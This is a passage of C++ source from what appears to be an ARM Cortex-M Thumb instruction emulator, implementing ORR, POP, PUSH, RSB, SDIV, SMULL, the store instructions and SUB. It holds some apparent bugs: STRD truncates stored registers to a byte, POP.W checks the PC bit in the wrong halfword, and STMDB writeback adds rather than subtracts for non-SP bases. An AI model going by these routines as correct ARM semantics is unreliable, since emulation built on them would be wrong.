icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.86 MVN (register) */
class MVN_R_T1 : public T1Instruction {
public:
MVN_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MVNS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t result = ~static_cast<uint32_t>(R[m]);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
// No shift no C
// V unchanged
}
return 2;
}
};
/** 4.6.88 NOP */
class NOP_T1 : public T1Instruction {
public:
NOP_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "NOP") {}
virtual int exec(Reg64Type *payload) {
return 2;
}
};
/** 4.6.91 ORR (immediate) */
class ORR_I_T1 : public T1Instruction {
public:
ORR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ORR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d) || n == Reg_sp) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn | imm32;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.92 ORR (register) */
class ORR_R_T1 : public T1Instruction {
public:
ORR_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ORRS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t result = Rn | Rm;
icpu_->setReg(dn, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
// C the same because no shoft
// V unchanged
}
return 2;
}
};
class ORR_R_T2 : public T1Instruction {
public:
ORR_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ORR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t type = (ti1 >> 4) & 0x3;
uint32_t shift_n;
SRType shift_t = DecodeImmShift(type, (imm3 << 2) | imm2, &shift_n);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
uint32_t shifted;
uint32_t result;
if (BadReg(d) || n == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
shifted = Shift_C(Rm, shift_t, shift_n, icpu_->getC(), &carry);
result = Rn | shifted;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.98 POP */
class POP_T1 : public T1Instruction {
public:
POP_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "POP") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint32_t address = static_cast<uint32_t>(R[Reg_sp]);
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
for (int i = 0; i < 8; i++) {
if (instr & (1ul << i)) {
trans_.addr = address;
icpu_->dma_memop(&trans_);
icpu_->setReg(i, trans_.rpayload.b32[0]);
address += 4;
}
}
if (instr & 0x100) {
icpu_->setReg(Reg_sp, address + 4); // To support Exception Exit
LoadWritePC(address);
address += 4;
} else {
icpu_->setReg(Reg_sp, address);
}
return 2;
}
};
class POP_T2 : public T1Instruction {
public:
POP_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "POP.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t P = (ti1 >> 15) & 1;
uint32_t M = (ti1 >> 14) & 1;
uint32_t register_list = ti1 & 0xDFFF;
uint32_t address = static_cast<uint32_t>(R[Reg_sp]);
if (P == 1 && M == 1) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
for (int i = 0; i < Reg_pc; i++) {
if (register_list & (1ul << i)) {
trans_.addr = address;
icpu_->dma_memop(&trans_);
icpu_->setReg(i, trans_.rpayload.b32[0]);
address += 4;
}
}
if (ti & (1ul << Reg_pc)) {
icpu_->setReg(Reg_sp, address + 4);
LoadWritePC(address);
address += 4;
} else {
icpu_->setReg(Reg_sp, address);
}
return 4;
}
};
/** 4.6.99 PUSH */
class PUSH_T1 : public T1Instruction {
public:
PUSH_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "PUSH_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint64_t address = R[Reg_sp];
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
if (instr & 0x100) {
address -= 4;
trans_.addr = address;
trans_.wpayload.b64[0] = R[Reg_lr];
icpu_->dma_memop(&trans_);
}
for (int i = 7; i >= 0; i--) {
if (instr & (1ul << i)) {
address -= 4;
trans_.addr = address;
trans_.wpayload.b64[0] = R[i];
icpu_->dma_memop(&trans_);
}
}
icpu_->setReg(Reg_sp, address);
return 2;
}
};
/** 4.6.118 RSB (immediate) Reverse Subtract */
class RSB_I_T1 : public T1Instruction {
public:
RSB_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "NEG") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = 0; // Implicit zero immediate
uint32_t overflow;
uint32_t carry;
uint32_t result;
result = AddWithCarry(~Rn, imm32, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class RSB_I_T2 : public T1Instruction {
public:
RSB_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "RSB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t i = (ti >> 10) & 1;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d) || BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(~Rn, imm32, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.119 RSB (register) Reverse Subtruct */
class RSB_R_T1 : public T1Instruction {
public:
RSB_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "RSB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t type = (ti1 >> 4) & 0x3;
uint32_t shift_n;
uint32_t overflow;
uint32_t carry;
uint32_t result;
SRType shift_t = DecodeImmShift(type, (imm3 << 2) | imm2, &shift_n);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t shifted = Shift(Rm, shift_t, shift_n, icpu_->getC());
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(~Rn, shifted, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.125 SBFX */
class SBFX_T1 : public T1Instruction {
public:
SBFX_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SBFX_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t result;
uint32_t n = ti & 0xF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t widthm1 = ti1 & 0x1F;
uint32_t lsbit = (imm3 << 2) | imm2;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t msbit = lsbit + widthm1;
uint64_t mask = (1ull << (widthm1 + 1)) - 1;
if (BadReg(d) || BadReg(n) || msbit > 31) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = (Rn >> lsbit) & static_cast<uint32_t>(mask);
if (result & (1ul << widthm1)) {
result |= static_cast<uint32_t>(~mask);
}
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.126 SDIV */
class SDIV_T1 : public T1Instruction {
public:
SDIV_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SDIV") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
int32_t Rn = static_cast<int32_t>(R[n]);
int32_t Rm = static_cast<int32_t>(R[m]);
int32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (Rm == 0) {
if (icpu_->getDZ()) {
//icpu_->raiseSignal(ZeroDivide);
}
result = 0;
} else {
result = Rn / Rm;
}
icpu_->setReg(d, static_cast<uint32_t>(result));
return 4;
}
};
/** 4.6.150 SMULL */
class SMULL_T1 : public T1Instruction {
public:
SMULL_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SMULL_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t dLo = (ti1 >> 12) & 0xF;
uint32_t dHi = (ti1 >> 8) & 0xF;
uint32_t m = ti1 & 0xF;
int32_t Rn = static_cast<int32_t>(R[n]);
int32_t Rm = static_cast<int32_t>(R[m]);
int64_t result;
if (BadReg(dLo) || BadReg(dHi) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (dLo == dHi) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = static_cast<int64_t>(Rn) * static_cast<int64_t>(Rm);
icpu_->setReg(dHi, static_cast<uint32_t>(result >> 32));
icpu_->setReg(dLo, static_cast<uint32_t>(result));
return 4;
}
};
/** 4.6.160 STMDB/STMFD */
class STMDB_T1 : public T1Instruction {
public:
STMDB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STMDB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t wback = (ti >> 5) & 1;
uint64_t address = R[n];
uint32_t BitCount = 0;
if (n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
for (int i = 14; i >= 0; i--) {
if (ti1 & (1ul << i)) {
address -= 4;
trans_.addr = address;
trans_.wpayload.b64[0] = R[i];
icpu_->dma_memop(&trans_);
BitCount++;
}
}
if (BitCount < 2) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (wback) {
if (n == Reg_sp) {
// T2_PUSH equivalent
icpu_->setReg(n, static_cast<uint32_t>(R[n] - 4*BitCount));
} else {
icpu_->setReg(n, static_cast<uint32_t>(R[n] + 4*BitCount));
}
}
return 4;
}
};
/** 4.6.161 STMIA Store Multiple Increment After */
class STMIA_T1 : public T1Instruction {
public:
STMIA_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STMIA_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t n = (ti >> 8) & 0x7;
uint32_t register_list = ti & 0xFF;
uint64_t address = static_cast<uint32_t>(R[n]);
uint32_t BitCount = 0;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
for (int i = 0; i < 8; i++) {
if (((register_list >> i) & 1) == 0) {
continue;
}
if (static_cast<unsigned>(i) == n) { // wback always TRUE
if (BitCount == 0) { // LowestSetBit
trans_.addr = address;
trans_.wpayload.b64[0] = R[i];
icpu_->dma_memop(&trans_);
} else {
RISCV_error("%s", "UNKNOWN");
}
} else {
trans_.addr = address;
trans_.wpayload.b64[0] = R[i];
icpu_->dma_memop(&trans_);
}
address += 4;
BitCount++;
}
if (BitCount < 1) {
RISCV_error("%s", "UNPREDICTABLE");
}
icpu_->setReg(n, static_cast<uint32_t>(R[n] + 4*BitCount));
return 2;
}
};
/** 4.6.162 STR (immediate) */
class STR_I_T1 : public T1Instruction {
public:
STR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRI") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint64_t imm32 = ((ti >> 6) & 0x1F) << 2;
trans_.addr = R[n] + imm32;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
trans_.wpayload.b32[0] = static_cast<uint32_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
class STR_I_T2 : public T1Instruction {
public:
STR_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = (ti >> 8) & 0x7;
uint32_t n = Reg_sp;
uint64_t imm32 = (ti & 0xFF) << 2;
trans_.addr = static_cast<uint32_t>(R[n]) + imm32;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
trans_.wpayload.b32[0] = static_cast<uint32_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
/** 4.6.163 STR (register) */
class STR_R_T1 : public T1Instruction {
public:
STR_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t m = (ti >> 6) & 0x7;
uint32_t address = static_cast<uint32_t>(R[n])
+ static_cast<uint32_t>(R[m]);
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
trans_.wpayload.b32[0] = static_cast<uint32_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
class STR_R_T2 : public T1Instruction {
public:
STR_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t shift_n = (ti1 >> 4) & 0x3;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t c_out;
uint32_t address = Rn + LSL_C(Rm, shift_n, &c_out);
if (n == Reg_pc) {
RISCV_error("%s", "UNDEFINED");
}
if (t == Reg_pc || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
trans_.wpayload.b32[0] = static_cast<uint32_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
/** 4.6.164 STRB (immediate) */
class STRB_I_T1 : public T1Instruction {
public:
STRB_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint64_t imm32 = (ti >> 6) & 0x1F;
trans_.addr = R[n] + imm32;
trans_.action = MemAction_Write;
trans_.xsize = 1;
trans_.wstrb = 0x1;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
class STRB_I_T2 : public T1Instruction {
public:
STRB_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint64_t imm32 = ti1 & 0xFFF;
if (n == Reg_pc) {
RISCV_error("%s", "UNDEFINED");
}
if (BadReg(t)) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.addr = R[n] + imm32;
trans_.action = MemAction_Write;
trans_.xsize = 1;
trans_.wstrb = 0x1;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
class STRB_I_T3 : public T1Instruction {
public:
STRB_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFF;
uint32_t index = (ti1 >> 10) & 1;
uint32_t add = (ti1 >> 9) & 1;
uint32_t wback = (ti1 >> 8) & 1;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t offset_addr;
uint32_t address;
if (n == Reg_pc || (index == 0 && wback == 0)) {
RISCV_error("%s", "UNDEFINED");
}
if (BadReg(t) || (wback && n == t)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (add) {
offset_addr = Rn + imm32;
} else {
offset_addr = Rn - imm32;
}
if (index) {
address = offset_addr;
} else {
address = Rn;
}
if (wback) {
icpu_->setReg(n, offset_addr);
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 1;
trans_.wstrb = 0x1;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
/** 4.6.165 */
class STRB_R_T1 : public T1Instruction {
public:
STRB_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t m = (ti >> 6) & 0x7;
uint32_t Rm = static_cast<uint32_t>(R[m]);
// no shift
uint32_t address = static_cast<uint32_t>(R[n]);
trans_.addr = address + Rm;
trans_.action = MemAction_Write;
trans_.xsize = 1;
trans_.wstrb = 0x1;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
class STRB_R_T2 : public T1Instruction {
public:
STRB_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t shift_n = (ti1 >> 4) & 0x3;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t c_out;
uint32_t address = Rn + LSL_C(Rm, shift_n, &c_out);
if (n == Reg_pc) {
RISCV_error("%s", "UNDEFINED");
}
if (t == Reg_pc || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 1;
trans_.wstrb = 0x1;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
/** 4.6.167 STRD (immediate) */
class STRD_I_T1 : public T1Instruction {
public:
STRD_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRD_I_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t index = (ti >> 8) & 1;
uint32_t add = (ti >> 7) & 1;
uint32_t wback = (ti >> 5) & 1;
uint32_t n = ti & 0xF;
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t t2 = (ti1 >> 8) & 0xF;
uint32_t imm32 = (ti1 & 0xFF) << 2;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t offset_addr = add != 0 ? Rn + imm32 : Rn - imm32;
uint32_t address = index != 0 ? offset_addr : Rn;
if (wback && (t == n || t2 == n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (n == Reg_pc || BadReg(t) || BadReg(t2)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (wback) {
icpu_->setReg(n, offset_addr);
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 4;
trans_.wstrb = 0xF;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t]);
icpu_->dma_memop(&trans_);
trans_.addr = address + 4;
trans_.wpayload.b32[0] = static_cast<uint8_t>(R[t2]);
icpu_->dma_memop(&trans_);
return 4;
}
};
/** 4.6.172 STRH (immediate) */
class STRH_I_T1 : public T1Instruction {
public:
STRH_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRH") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint64_t imm32 = ((ti >> 6) & 0x1F) << 1;
trans_.addr = R[n] + imm32;
trans_.action = MemAction_Write;
trans_.xsize = 2;
trans_.wstrb = 0x3;
trans_.wpayload.b32[0] = static_cast<uint16_t>(R[t]);
icpu_->dma_memop(&trans_);
return 2;
}
};
class STRH_I_T2 : public T1Instruction {
public:
STRH_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRH_I_T2") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFFF;
uint32_t address = static_cast<uint32_t>(R[n]) + imm32;
if (n == Reg_pc) {
RISCV_error("%s", "UNDEFINED");
}
if (BadReg(t)) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 2;
trans_.wstrb = 0x3;
trans_.wpayload.b32[0] = static_cast<uint16_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
class STRH_I_T3 : public T1Instruction {
public:
STRH_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "STRH_I_T3") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t index = (ti1 >> 10) & 1;
uint32_t add = (ti1 >> 9) & 1;
uint32_t wback = (ti1 >> 8) & 1;
uint32_t imm32 = ti1 & 0xFF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t offset_addr = add != 0 ? Rn + imm32 : Rn - imm32;
uint32_t address = index != 0 ? offset_addr : Rn;
if (n == Reg_pc || (!index && !wback)) {
RISCV_error("%s", "UNDEFINED");
}
if (BadReg(t) || (wback && n == t)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (wback) {
icpu_->setReg(n, offset_addr);
}
trans_.addr = address;
trans_.action = MemAction_Write;
trans_.xsize = 2;
trans_.wstrb = 0x3;
trans_.wpayload.b32[0] = static_cast<uint16_t>(R[t]);
icpu_->dma_memop(&trans_);
return 4;
}
};
/** 4.6.176 SUB (immediate) */
class SUB_I_T1 : public T1Instruction {
public:
SUB_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUBS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t d = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm32 = (ti >> 6) & 0x7;
uint32_t Rn = static_cast<uint32_t>(R[n]);
result = AddWithCarry(Rn, ~imm32, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class SUB_I_T2 : public T1Instruction {
public:
SUB_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUBS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t dn = (ti >> 8) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm32 = ti & 0xFF;
uint32_t Rn = static_cast<uint32_t>(R[dn]);
result = AddWithCarry(Rn, ~imm32, 1, &overflow, &carry);
icpu_->setReg(dn, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class SUB_I_T3 : public T1Instruction {
public:
SUB_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (BadReg(d) || n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(Rn, ~imm32, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.177 SUB (register) */
class SUB_R_T1 : public T1Instruction {
public:
SUB_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUBR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint32_t d = instr & 0x7;
uint32_t n = (instr >> 3) & 0x7;
